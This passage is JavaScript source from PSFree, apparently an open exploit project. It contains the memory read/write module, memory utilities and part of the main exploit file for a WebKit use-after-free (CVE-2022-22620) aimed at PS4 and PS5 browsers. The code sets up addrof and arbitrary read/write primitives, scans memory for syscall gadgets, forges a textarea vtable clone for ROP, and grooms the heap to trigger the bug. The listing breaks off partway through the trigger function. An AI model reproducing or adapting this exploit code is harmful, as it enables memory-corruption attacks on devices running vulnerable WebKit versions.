| // to their addresses in memory. 190 | // syscall_array: 191 | // An array whose indices correspond to syscall numbers. Maps syscall 192 | // numbers to their addresses in memory. Defaults to an empty Array. 193 | // 194 | // Raises: 195 | // Error: 196 | // For missing bare minimum gadgets 197 | static init_class(gadgets, syscall_array=[]) { 198 | for (const insn of argument_pops) { 199 | if (!gadgets.has(insn)) { 200 | throw Error(`gadget map must contain this gadget: ${insn}`); 201 | } 202 | } 203 | this.prototype.gadgets = gadgets; 204 | this.prototype.syscall_array = syscall_array; 205 | } 206 | } 207 | -------------------------------------------------------------------------------- /module/mem.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | import { Int, lohi_from_one } from './int64.mjs'; 19 | import { view_m_vector, view_m_length } from './offset.mjs'; 20 | 21 | export let mem = null; 22 | 23 | // cache some constants 24 | const off_vector = view_m_vector / 4; 25 | const off_vector2 = (view_m_vector + 4) / 4; 26 | const isInteger = Number.isInteger; 27 | 28 | function init_module(memory) { 29 | mem = memory; 30 | } 31 | 32 | function add_and_set_addr(mem, offset, base_lo, base_hi) { 33 | const values = lohi_from_one(offset); 34 | const main = mem._main; 35 | 36 | const low = base_lo + values[0]; 37 | 38 | // no need to use ">>> 0" to convert to unsigned here 39 | main[off_vector] = low; 40 | main[off_vector2] = base_hi + values[1] + (low > 0xffffffff); 41 | } 42 | 43 | export class Addr extends Int { 44 | read8(offset) { 45 | const m = mem; 46 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 47 | m._set_addr_direct(this); 48 | } else { 49 | add_and_set_addr(m, offset, this.low, this.high); 50 | offset = 0; 51 | } 52 | 53 | return m.read8_at(offset); 54 | } 55 | 56 | read16(offset) { 57 | const m = mem; 58 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 59 | m._set_addr_direct(this); 60 | } else { 61 | add_and_set_addr(m, offset, this.low, this.high); 62 | offset = 0; 63 | } 64 | 65 | return m.read16_at(offset); 66 | } 67 | 68 | read32(offset) { 69 | const m = mem; 70 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 71 | m._set_addr_direct(this); 72 | } else { 73 | add_and_set_addr(m, offset, this.low, this.high); 74 | offset = 0; 75 | } 76 | 77 | return m.read32_at(offset); 78 | } 79 | 80 | read64(offset) { 81 | const m = mem; 82 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 83 | m._set_addr_direct(this); 84 | } else { 85 | add_and_set_addr(m, offset, this.low, this.high); 86 | offset = 0; 87 | } 88 | 89 | return m.read64_at(offset); 90 | } 91 | 92 | readp(offset) { 93 | const m = mem; 94 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 95 | m._set_addr_direct(this); 96 | } else { 97 | add_and_set_addr(m, offset, this.low, this.high); 98 | offset = 0; 99 | } 100 | 101 | return m.readp_at(offset); 102 | } 103 | 104 | write8(offset, value) { 105 | const m = mem; 106 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 107 | m._set_addr_direct(this); 108 | } else { 109 | add_and_set_addr(m, offset, this.low, this.high); 110 | offset = 0; 111 | } 112 | 113 | m.write8_at(offset, value); 114 | } 115 | 116 | write16(offset, value) { 117 | const m = mem; 118 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 119 | m._set_addr_direct(this); 120 | } else { 121 | add_and_set_addr(m, offset, this.low, this.high); 122 | offset = 0; 123 | } 124 | 125 | m.write16_at(offset, value); 126 | } 127 | 128 | write32(offset, value) { 129 | const m = mem; 130 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 131 | m._set_addr_direct(this); 132 | } else { 133 | add_and_set_addr(m, offset, this.low, this.high); 134 | offset = 0; 135 | } 136 | 137 | m.write32_at(offset, value); 138 | } 139 | 140 | write64(offset, value) { 141 | const m = mem; 142 | if (isInteger(offset) && 0 <= offset && offset <= 0xffffffff) { 143 | m._set_addr_direct(this); 144 | } else { 145 | add_and_set_addr(m, offset, this.low, this.high); 146 | offset = 0; 147 | } 148 | 149 | m.write64_at(offset, value); 150 | } 151 | } 152 | 153 | // expected: 154 | // * main - Uint32Array whose m_vector points to worker 155 | // * worker - DataView 156 | // 157 | // addrof() expectations: 158 | // * obj - we will store objects at .addr 159 | // * addr_addr - Int where to read out the address. the address used to store 160 | // the value of .addr 161 | // 162 | // the relative read/write methods expect the offset to be a unsigned 32-bit 163 | // integer 164 | export class Memory { 165 | constructor(main, worker, obj, addr_addr) { 166 | this._main = main; 167 | this._worker = worker; 168 | this._obj = obj; 169 | this._addr_low = addr_addr.low; 170 | this._addr_high = addr_addr.high; 171 | 172 | main[view_m_length / 4] = 0xffffffff; 173 | 174 | init_module(this); 175 | } 176 | 177 | addrof(object) { 178 | // typeof considers null as a object. blacklist it as it isn't a 179 | // JSObject 180 | if ((typeof object !== 'object' || object === null) 181 | && typeof object !== 'function' 182 | ) { 183 | throw TypeError('argument not a JS object'); 184 | } 185 | 186 | const obj = this._obj; 187 | const worker = this._worker; 188 | const main = this._main; 189 | 190 | obj.addr = object; 191 | 192 | main[off_vector] = this._addr_low; 193 | main[off_vector2] = this._addr_high; 194 | 195 | const res = new Addr( 196 | worker.getUint32(0, true), 197 | worker.getUint32(4, true), 198 | ); 199 | obj.addr = null; 200 | 201 | return res; 202 | } 203 | 204 | // expects addr to be a Int 205 | _set_addr_direct(addr) { 206 | const main = this._main; 207 | main[off_vector] = addr.low; 208 | main[off_vector2] = addr.high; 209 | } 210 | 211 | set_addr(addr) { 212 | const values = lohi_from_one(addr); 213 | const main = this._main; 214 | main[off_vector] = values[0]; 215 | main[off_vector2] = values[1]; 216 | } 217 | 218 | get_addr() { 219 | return new Addr(main[off_vector], main[off_vector2]); 220 | } 221 | 222 | read8(addr) { 223 | this.set_addr(addr); 224 | return this._worker.getUint8(0); 225 | } 226 | 227 | read16(addr) { 228 | this.set_addr(addr); 229 | return this._worker.getUint16(0, true); 230 | } 231 | 232 | read32(addr) { 233 | this.set_addr(addr); 234 | return this._worker.getUint32(0, true); 235 | } 236 | 237 | read64(addr) { 238 | this.set_addr(addr); 239 | const worker = this._worker; 240 | return new Int(worker.getUint32(0, true), worker.getUint32(4, true)); 241 | } 242 | 243 | // returns a pointer instead of an Int 244 | readp(addr) { 245 | this.set_addr(addr); 246 | const worker = this._worker; 247 | return new Addr(worker.getUint32(0, true), worker.getUint32(4, true)); 248 | } 249 | 250 | read8_at(offset) { 251 | if (!isInteger(offset)) { 252 | throw TypeError('offset not a integer'); 253 | } 254 | return this._worker.getUint8(offset); 255 | } 256 | 257 | read16_at(offset) { 258 | if (!isInteger(offset)) { 259 | throw TypeError('offset not a integer'); 260 | } 261 | return this._worker.getUint16(offset, true); 262 | } 263 | 264 | read32_at(offset) { 265 | if (!isInteger(offset)) { 266 | throw TypeError('offset not a integer'); 267 | } 268 | return this._worker.getUint32(offset, true); 269 | } 270 | 271 | read64_at(offset) { 272 | if (!isInteger(offset)) { 273 | throw TypeError('offset not a integer'); 274 | } 275 | const worker = this._worker; 276 | return new Int( 277 | worker.getUint32(offset, true), 278 | worker.getUint32(offset + 4, true), 279 | ); 280 | } 281 | 282 | readp_at(offset) { 283 | if (!isInteger(offset)) { 284 | throw TypeError('offset not a integer'); 285 | } 286 | const worker = this._worker; 287 | return new Addr( 288 | worker.getUint32(offset, true), 289 | worker.getUint32(offset + 4, true), 290 | ); 291 | } 292 | 293 | // writes using 0 as a base address don't work because we are using a 294 | // DataView as a worker. work around this by doing something like "new 295 | // Addr(-1, -1).write8(1, 0)" 296 | // 297 | // see setIndex() from 298 | // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4 299 | // 8.00 300 | 301 | write8(addr, value) { 302 | this.set_addr(addr); 303 | this._worker.setUint8(0, value); 304 | } 305 | 306 | write16(addr, value) { 307 | this.set_addr(addr); 308 | this._worker.setUint16(0, value, true); 309 | } 310 | 311 | write32(addr, value) { 312 | this.set_addr(addr); 313 | this._worker.setUint32(0, value, true); 314 | } 315 | 316 | write64(addr, value) { 317 | const values = lohi_from_one(value); 318 | this.set_addr(addr); 319 | const worker = this._worker; 320 | worker.setUint32(0, values[0], true); 321 | worker.setUint32(4, values[1], true); 322 | } 323 | 324 | write8_at(offset, value) { 325 | if (!isInteger(offset)) { 326 | throw TypeError('offset not a integer'); 327 | } 328 | this._worker.setUint8(offset, value); 329 | } 330 | 331 | write16_at(offset, value) { 332 | if (!isInteger(offset)) { 333 | throw TypeError('offset not a integer'); 334 | } 335 | this._worker.setUint16(offset, value, true); 336 | } 337 | 338 | write32_at(offset, value) { 339 | if (!isInteger(offset)) { 340 | throw TypeError('offset not a integer'); 341 | } 342 | this._worker.setUint32(offset, value, true); 343 | } 344 | 345 | write64_at(offset, value) { 346 | if (!isInteger(offset)) { 347 | throw TypeError('offset not a integer'); 348 | } 349 | const values = lohi_from_one(value); 350 | const worker = this._worker; 351 | worker.setUint32(offset, values[0], true); 352 | worker.setUint32(offset + 4, values[1], true); 353 | } 354 | } 355 | -------------------------------------------------------------------------------- /module/memtools.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | // This module are for utilities that depend on running the exploit first 19 | 20 | import { Int } from './int64.mjs'; 21 | import { Addr, mem } from './mem.mjs'; 22 | import { align } from './utils.mjs'; 23 | import { KB, page_size } from './offset.mjs'; 24 | import { read32 } from './rw.mjs'; 25 | 26 | import * as rw from './rw.mjs'; 27 | import * as o from './offset.mjs'; 28 | 29 | // creates an ArrayBuffer whose contents is copied from addr 30 | export function make_buffer(addr, size) { 31 | // see enum TypedArrayMode from 32 | // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h 33 | // at webkitgtk 2.34.4 34 | // 35 | // see possiblySharedBuffer() from 36 | // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h 37 | // at webkitgtk 2.34.4 38 | 39 | // We will create an OversizeTypedArray via requesting an Uint8Array whose 40 | // number of elements will be greater than fastSizeLimit (1000). 41 | // 42 | // We will not use a FastTypedArray since its m_vector is visited by the 43 | // GC and we will temporarily change it. The GC expects addresses from the 44 | // JS heap, and that heap has metadata that the GC uses. The GC will likely 45 | // crash since valid metadata won't likely be found at arbitrary addresses. 46 | // 47 | // The FastTypedArray approach will have a small time frame where the GC 48 | // can inspect the invalid m_vector field. 49 | // 50 | // Views created via "new TypedArray(x)" where "x" is a number will always 51 | // have an m_mode < WastefulTypedArray. 52 | const u = new Uint8Array(1001); 53 | const u_addr = mem.addrof(u); 54 | 55 | // we won't change the butterfly and m_mode so we won't save those 56 | const old_addr = u_addr.read64(o.view_m_vector); 57 | const old_size = u_addr.read32(o.view_m_length); 58 | 59 | u_addr.write64(o.view_m_vector, addr); 60 | u_addr.write32(o.view_m_length, size); 61 | 62 | const copy = new Uint8Array(u.length); 63 | copy.set(u); 64 | 65 | // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object 66 | // associated with them, if we ask for view.buffer, the view will be 67 | // converted into a WastefulTypedArray and an ArrayBuffer will be created. 68 | // This is done by calling slowDownAndWasteMemory(). 69 | // 70 | // We can't use slowDownAndWasteMemory() on u since that will create a 71 | // JSC::ArrayBufferContents with its m_data pointing to addr. On the 72 | // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can 73 | // cause a crash if the m_data is not from the fastMalloc heap, and even if 74 | // it is, freeing abitrary addresses is dangerous as it may lead to a 75 | // use-after-free. 76 | const res = copy.buffer; 77 | 78 | // restore 79 | u_addr.write64(o.view_m_vector, old_addr); 80 | u_addr.write32(o.view_m_length, old_size); 81 | 82 | return res; 83 | } 84 | 85 | // these values came from analyzing dumps from CelesteBlue 86 | function check_magic_at(p, is_text) { 87 | // byte sequence that is very likely to appear at offset 0 of a .text 88 | // segment 89 | const text_magic = [ 90 | new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]), 91 | new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]), 92 | ]; 93 | 94 | // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment 95 | 96 | // .data magic from 3.00, 6.00, and 6.20 97 | //const data_magic = [ 98 | // new Int(0x18), 99 | // new Int(0x3c13f4bf, 0x1), 100 | //]; 101 | 102 | // .data magic from 8.00 and 8.03 103 | const data_magic = [ 104 | new Int(0x20), 105 | new Int(0x3c13f4bf, 0x2), 106 | ]; 107 | 108 | const magic = is_text ? text_magic : data_magic; 109 | const value = [p.read64(0), p.read64(8)]; 110 | 111 | return value[0].eq(magic[0]) && value[1].eq(magic[1]); 112 | } 113 | 114 | // Finds the base address of a segment: .text or .data 115 | // Used on the ps4 to locate module base addresses 116 | // * p: 117 | // an address pointing somewhere in the segment to search 118 | // * is_text: 119 | // whether the segment is .text or .data 120 | // * is_back: 121 | // whether to search backwards (to lower addresses) or forwards 122 | // 123 | // Modules are likely to be separated by a couple of unmapped pages because of 124 | // Address Space Layout Randomization (all module base addresses are 125 | // randomized). This means that this function will either succeed or crash on 126 | // a page fault, if the magic is not present. 127 | // 128 | // To be precise, modules are likely to be "surrounded" by unmapped pages, it 129 | // does not mean that the distance between a boundary of a module and the 130 | // nearest unmapped page is 0. 131 | // 132 | // The boundaries of a module is its base and end addresses. 133 | // 134 | // let module_base_addr = find_base(...); 135 | // // Not guaranteed to crash, the nearest unmapped page is not necessarily at 136 | // // 0 distance away from module_base_addr. 137 | // addr.read8(-1); 138 | // 139 | export function find_base(addr, is_text, is_back) { 140 | // align to page size 141 | addr = align(addr, page_size); 142 | const offset = (is_back ? -1 : 1) * page_size; 143 | while (true) { 144 | if (check_magic_at(addr, is_text)) { 145 | break; 146 | } 147 | addr = addr.add(offset) 148 | } 149 | return addr; 150 | } 151 | 152 | // gets the address of the underlying buffer of a JSC::JSArrayBufferView 153 | export function get_view_vector(view) { 154 | if (!ArrayBuffer.isView(view)) { 155 | throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); 156 | } 157 | return mem.addrof(view).readp(o.view_m_vector); 158 | } 159 | 160 | export function resolve_import(import_addr) { 161 | if (import_addr.read16(0) !== 0x25ff) { 162 | throw Error( 163 | `instruction at ${import_addr} is not of the form: jmp qword` 164 | + ' [rip + X]' 165 | ); 166 | } 167 | // module_function_import: 168 | // jmp qword [rip + X] 169 | // ff 25 xx xx xx xx // signed 32-bit displacement 170 | const disp = import_addr.read32(2); 171 | // sign extend 172 | const offset = new Int(disp, disp >> 31); 173 | // The rIP value used by "jmp [rip + X]" instructions is actually the rIP 174 | // of the next instruction. This means that the actual address used is 175 | // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the 176 | // jump instruction, which is 6 in this case. 177 | const function_addr = import_addr.readp(offset.add(6)); 178 | 179 | return function_addr; 180 | } 181 | 182 | export function init_syscall_array( 183 | syscall_array, 184 | libkernel_web_base, 185 | max_search_size, 186 | ) { 187 | if (!Number.isInteger(max_search_size)) { 188 | throw TypeError( 189 | `max_search_size is not a integer: ${max_search_size}` 190 | ); 191 | } 192 | if (max_search_size < 0) { 193 | throw Error(`max_search_size is less than 0: ${max_search_size}`); 194 | } 195 | 196 | const libkernel_web_buffer = make_buffer( 197 | libkernel_web_base, 198 | max_search_size, 199 | ); 200 | const kbuf = new Uint8Array(libkernel_web_buffer); 201 | 202 | // Search 'rdlo' string from libkernel_web's .rodata section to gain an 203 | // upper bound on the size of the .text section. 204 | let text_size = 0; 205 | let found = false; 206 | for (let i = 0; i < max_search_size; i++) { 207 | if (kbuf[i] === 0x72 208 | && kbuf[i + 1] === 0x64 209 | && kbuf[i + 2] === 0x6c 210 | && kbuf[i + 3] === 0x6f 211 | ) { 212 | text_size = i; 213 | found = true; 214 | break; 215 | } 216 | } 217 | if (!found) { 218 | throw Error( 219 | '"rdlo" string not found in libkernel_web, base address:' 220 | + ` ${libkernel_web_base}` 221 | ); 222 | } 223 | 224 | // search for the instruction sequence: 225 | // syscall_X: 226 | // mov rax, X 227 | // mov r10, rcx 228 | // syscall 229 | for (let i = 0; i < text_size; i++) { 230 | if (kbuf[i] === 0x48 231 | && kbuf[i + 1] === 0xc7 232 | && kbuf[i + 2] === 0xc0 233 | && kbuf[i + 7] === 0x49 234 | && kbuf[i + 8] === 0x89 235 | && kbuf[i + 9] === 0xca 236 | && kbuf[i + 10] === 0x0f 237 | && kbuf[i + 11] === 0x05 238 | ) { 239 | const syscall_num = read32(kbuf, i + 3); 240 | syscall_array[syscall_num] = libkernel_web_base.add(i); 241 | // skip the sequence 242 | i += 11; 243 | } 244 | } 245 | } 246 | 247 | // textarea object cloned by create_ta_clone() 248 | const rop_ta = document.createElement('textarea'); 249 | 250 | // Creates a helper object for ROP using the textarea vtable method 251 | // 252 | // Args: 253 | // obj: 254 | // Object to attach objects that need to stay alive in order for the clone 255 | // to work. 256 | // 257 | // Returns: 258 | // The address of the clone. 259 | export function create_ta_clone(obj) { 260 | // sizeof JSC:JSObject, the JSCell + the butterfly field 261 | const js_size = 0x10; 262 | // start of the array of inline properties (JSValues) 263 | const offset_js_inline_prop = 0x10; 264 | // Sizes may vary between webkit versions so we just assume a size 265 | // that we think is large enough for all of them. 266 | const vtable_size = 0x1000; 267 | const webcore_ta_size = 0x180; 268 | 269 | // Empty objects have 6 inline properties that are not inspected by the 270 | // GC. This gives us 48 bytes of free space that we can write with 271 | // anything. 272 | const ta_clone = {}; 273 | obj.ta_clone = ta_clone; 274 | const clone_p = mem.addrof(ta_clone); 275 | const ta_p = mem.addrof(rop_ta); 276 | 277 | // Copy the contents of the textarea before copying the JSCell. As long 278 | // the JSCell is of an empty object, the GC will not inspect the inline 279 | // storage. 280 | // 281 | // MarkedBlocks serve memory in fixed-size chunks (cells). The chunk 282 | // size is also called the cell size. Even if you request memory whose 283 | // size is less than a cell, the entire cell is allocated for the 284 | // object. 285 | // 286 | // The cell size of the MarkedBlock where the empty object is allocated 287 | // is atleast 64 bytes (enough to fit the empty object). So even if we 288 | // change the JSCell later and the perceived size of the object 289 | // (size_jsta) is less than 64 bytes, we don't have to worry about the 290 | // memory area between clone_p + size_jsta and clone_p + cell_size 291 | // being freed and reused because the entire cell belongs to the object 292 | // until it dies. 293 | for (let i = js_size; i < o.size_jsta; i += 8) { 294 | clone_p.write64(i, ta_p.read64(i)); 295 | } 296 | 297 | // JSHTMLTextAreaElement is a subclass of JSC::JSDestructibleObject and 298 | // thus they are allocated on a MarkedBlock with special attributes 299 | // that tell the GC to have their destructor clean their storage on 300 | // their death. 301 | // 302 | // The destructor in this case will destroy m_wrapped since they are a 303 | // subclass of WebCore::JSDOMObject as well. 304 | // 305 | // What's great about the clones (initially empty objects) is that they 306 | // are instances of JSC::JSFinalObject. That type doesn't have a 307 | // destructor and so they are allocated on MarkedBlocks that don't need 308 | // destruction. 309 | // 310 | // So even if a clone dies, the GC will not look for a destructor and 311 | // try to run it. This means we can fake m_wrapped and not fear of any 312 | // sort of destructor being called on it. 313 | 314 | const webcore_ta = ta_p.readp(o.jsta_impl); 315 | const m_wrapped_clone = new Uint8Array( 316 | make_buffer(webcore_ta, webcore_ta_size) 317 | ); 318 | obj.m_wrapped_clone = m_wrapped_clone; 319 | 320 | // Replicate the vtable as much as possible or else the garbage 321 | // collector will crash. It uses functions from the vtable. 322 | const vtable_clone = new Uint8Array( 323 | make_buffer(webcore_ta.readp(0), vtable_size) 324 | ); 325 | obj.vtable_clone = vtable_clone 326 | 327 | clone_p.write64( 328 | o.jsta_impl, 329 | get_view_vector(m_wrapped_clone), 330 | ); 331 | rw.write64(m_wrapped_clone, 0, get_view_vector(vtable_clone)); 332 | 333 | // turn the empty object into a textarea (copy JSCell header) 334 | // 335 | // Don't need to copy the butterfly since it's by default NULL and it 336 | // doesn't have any special meaning for the JSHTMLTextAreaObject type, 337 | // unlike other types that uses it for something else. 338 | // 339 | // An example is a JSArrayBufferView with m_mode >= WastefulTypedArray, 340 | // their *(butterfly - 8) is a pointer to a JSC::ArrayBuffer. 341 | clone_p.write64(0, ta_p.read64(0)); 342 | 343 | return clone_p; 344 | } 345 | -------------------------------------------------------------------------------- /psfree.mjs: -------------------------------------------------------------------------------- 1 | /* Copyright (C) 2023-2024 anonymous 2 | 3 | This file is part of PSFree. 4 | 5 | PSFree is free software: you can redistribute it and/or modify 6 | it under the terms of the GNU Affero General Public License as 7 | published by the Free Software Foundation, either version 3 of the 8 | License, or (at your option) any later version. 9 | 10 | PSFree is distributed in the hope that it will be useful, 11 | but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | GNU Affero General Public License for more details. 14 | 15 | You should have received a copy of the GNU Affero General Public License 16 | along with this program. If not, see . */ 17 | 18 | // PSFree is a WebKit exploit using CVE-2022-22620 to gain arbitrary read/write 19 | // 20 | // vulnerable: 21 | // * PS4 [6.00, 10.00) 22 | // * PS5 [1.00, 6.00) 23 | 24 | import { Int } from './module/int64.mjs'; 25 | import { Memory,mem } from './module/mem.mjs'; 26 | import { KB, MB } from './module/offset.mjs'; 27 | import { BufferView } from './module/rw.mjs'; 28 | 29 | import { 30 | die, 31 | DieError, 32 | //debug_log, 33 | clear_log, 34 | sleep, 35 | hex, 36 | hex_np, 37 | align, 38 | } from './module/utils.mjs'; 39 | 40 | import * as config from './config.mjs'; 41 | import * as off from './module/offset.mjs'; 42 | 43 | // check if we are running on a supported firmware version 44 | const [is_ps4, version] = (() => { 45 | const value = config.target; 46 | const is_ps4 = (value & 0x10000) === 0; 47 | const version = value & 0xffff; 48 | const [lower, upper] = (() => { 49 | if (is_ps4) { 50 | return [0x600, 0x1000]; 51 | } else { 52 | return [0x100, 0x600]; 53 | } 54 | })(); 55 | 56 | if (!(lower <= version && version < upper)) { 57 | throw RangeError(`invalid config.target: ${hex(value)}`); 58 | } 59 | 60 | return [is_ps4, version]; 61 | })(); 62 | 63 | const ssv_len = (() => { 64 | if (0x600 <= config.target && config.target < 0x650) { 65 | return 0x58; 66 | } 67 | 68 | // PS4 9.xx and all supported PS5 versions 69 | if (config.target >= 0x900) { 70 | return 0x50; 71 | } 72 | 73 | if (0x650 <= config.target && config.target < 0x900) { 74 | return 0x48; 75 | } 76 | })(); 77 | 78 | // these constants are expected to be divisible by 2 79 | const num_fsets = 0x180; 80 | const num_spaces = 0x40; 81 | const num_adjs = 8; 82 | 83 | const num_reuses = 0x400; 84 | const num_strs = 0x200; 85 | const num_leaks = 0x100; 86 | 87 | //const mem = null; 88 | 89 | // we can use the rows attribute of a frameset to allocate from fastMalloc 90 | // 91 | // see parseAttribute() from 92 | // WebKit/Source/WebCore/html/HTMLFrameSetElement.cpp at PS4 8.0x 93 | // 94 | // parseAttribute() will call newLengthArray(): 95 | // 96 | // UniqueArray newLengthArray(const String& string, int& len) 97 | // { 98 | // RefPtr str = string.impl()->simplifyWhiteSpace(); 99 | // ... 100 | // len = countCharacter(*str, ',') + 1; [1] 101 | // auto r = makeUniqueArray(len); [2] 102 | // ... 103 | // } 104 | // 105 | // pseudocode definition: 106 | // 107 | // class UniqueArray: 108 | // size_t _size; [3] 109 | // Length _data[]; 110 | // 111 | // [2] allocates from the fastMalloc heap. [1] will add an additional 1 to len. 112 | // [3] adds an extra 8 bytes to the array 113 | // 114 | // a Length is 8 bytes in size. if we want to allocate ssv_len bytes from 115 | // fastMalloc, then we need: 116 | // 117 | // const num_repeats = ssv_len / 8 - 2; 118 | // const rows = ','.repeat(num_repeats); 119 | const rows = ','.repeat(ssv_len / 8 - 2); 120 | 121 | const original_strlen = ssv_len - off.size_strimpl; 122 | const original_loc = location.pathname; 123 | 124 | function gc() { 125 | new Uint8Array(4 * MB); 126 | } 127 | 128 | function sread64(str, offset) { 129 | const low = ( 130 | str.charCodeAt(offset) 131 | | str.charCodeAt(offset + 1) << 8 132 | | str.charCodeAt(offset + 2) << 16 133 | | str.charCodeAt(offset + 3) << 24 134 | ); 135 | const high = ( 136 | str.charCodeAt(offset + 4) 137 | | str.charCodeAt(offset + 5) << 8 138 | | str.charCodeAt(offset + 6) << 16 139 | | str.charCodeAt(offset + 7) << 24 140 | ); 141 | return new Int(low, high); 142 | } 143 | 144 | function prepare_uaf() { 145 | const fsets = []; 146 | const indices = []; 147 | 148 | function alloc_fs(fsets, size) { 149 | for (let i = 0; i < size / 2; i++) { 150 | const fset = document.createElement('frameset'); 151 | fset.rows = rows; 152 | fset.cols = rows; 153 | fsets.push(fset); 154 | } 155 | } 156 | 157 | history.pushState('state0', ''); // new line 158 | 159 | alloc_fs(fsets, num_fsets); 160 | 161 | // the "state1" SSVs is what we will UaF 162 | history.pushState('state1', '', original_loc + '#bar'); 163 | indices.push(fsets.length); 164 | 165 | alloc_fs(fsets, num_spaces); 166 | 167 | history.pushState('state1_2', '', original_loc + '#foo'); 168 | indices.push(fsets.length); 169 | 170 | alloc_fs(fsets, num_spaces); 171 | 172 | history.pushState('state2', ''); 173 | return [fsets, indices]; 174 | } 175 | 176 | // WebCore::SerializedScriptValue use-after-free 177 | // 178 | // be careful when accessing history.state since History::state() will get 179 | // called. History will cache the SSV at its m_lastStateObjectRequested if you 180 | // do. that field is a RefPtr, thus preventing a UaF if we cache "state1" 181 | async function uaf_ssv(fsets, index, index2) { 182 | const views = []; 183 | const input = document.createElement('input'); 184 | const foo = document.createElement('input'); 185 | foo.id = 'foo'; 186 | const bar = document.createElement('a'); 187 | bar.id = 'bar'; 188 | 189 | //debug_log(`ssv_len: ${hex(ssv_len)}`); 190 | 191 | let pop = null; 192 | let pop2 = null; 193 | let pop_promise2 = null; 194 | let blurs = [0, 0]; 195 | let resolves = []; 196 | 197 | function onpopstate(event) { 198 | const no_pop = pop === null; 199 | const idx = no_pop ? 0 : 1; 200 | 201 | //debug_log(`pop ${idx} came`); 202 | if (blurs[idx] === 0) { 203 | const r = resolves[idx][1]; 204 | r(new DieError(`blurs before pop ${idx} came: ${blurs[idx]}`)); 205 | } 206 | 207 | if (no_pop) { 208 | pop_promise2 = new Promise((resolve, reject) => { 209 | resolves.push([resolve, reject]); 210 | addEventListener('popstate', onpopstate, {once: true}); 211 | history.back(); 212 | }); 213 | } 214 | 215 | if (no_pop) { 216 | pop = event; 217 | } else { 218 | pop2 = event; 219 | } 220 | resolves[idx][0](); 221 | } 222 | 223 | const pop_promise = new Promise((resolve, reject) => { 224 | resolves.push([resolve, reject]); 225 | addEventListener('popstate', onpopstate, {once: true}); 226 | }); 227 | 228 | function onblur(event) { 229 | const tgt = event.relatedTarget; 230 | const is_foo = tgt === foo; 231 | const name = is_foo ? 'foo' : 'bar'; 232 | const idx = is_foo ? 0 : 1; 233 | //debug_log(`${name} blur came`); 234 | 235 | if (blurs[idx] > 0) { 236 | die(`${name}: multiple blurs. blurs: ${blurs[idx]}`); 237 | } 238 | 239 | // we replace the URL with the original so the user can rerun the 240 | // exploit via a reload. If we don't, the exploit will append another 241 | // "#foo" to the URL and the input element will not be blurred because 242 | // the foo element won't be scrolled to during history.back() 243 | history.replaceState('state3', '', original_loc); 244 | 245 | // free the SerializedScriptValue's neighbors and thus free the 246 | // SmallLine where it resides 247 | const fset_idx = is_foo ? index : index2; 248 | for (let i = fset_idx - num_adjs/2; i < fset_idx + num_adjs/2; i++) { 249 | fsets[i].rows = ''; 250 | fsets[i].cols = ''; 251 | } 252 | 253 | for (let i = 0; i < num_reuses; i++) { 254 | const view = new Uint8Array(new ArrayBuffer(ssv_len)); 255 | view[0] = 0x41; 256 | views.push(view); 257 | } 258 | 259 | blurs[idx]++; 260 | } 261 | 262 | input.addEventListener('blur', onblur); 263 | foo.addEventListener('blur', onblur); 264 | 265 | document.body.append(input); 266 | document.body.append(foo); 267 | document.body.append(bar); 268 | 269 | // FrameLoader::loadInSameDocument() calls Document::statePopped(). 270 | // statePopped() will defer firing of popstate until we're in the complete 271 | // state 272 | // 273 | // this means that onblur() will run with "state2" as the current history 274 | // item if we call loadInSameDocument too early 275 | //debug_log(`readyState now: ${document.readyState}`); 276 | 277 | if (document.readyState !== 'complete') { 278 | await new Promise(resolve => { 279 | document.addEventListener('readystatechange', function foo() { 280 | if (document.readyState === 'complete') { 281 | document.removeEventListener('readystatechange', foo); 282 | resolve(); 283 | } 284 | }); 285 | }); 286 | } 287 | 288 | //debug_log(`readyState now: ${document.readyState}`); 289 | 290 | await new Promise(resolve => { 291 | input.addEventListener('focus', resolve, {once: true}); 292 | input.focus(); 293 | }); 294 | 295 | history.back(); 296 | await pop_promise; 297 | await pop_promise2; 298 | 299 | //debug_log('done await popstate'); 300 | 301 | input.remove(); 302 | foo.remove(); 303 | bar.remove(); 304 | 305 | const res = []; 306 | for (let i = 0; 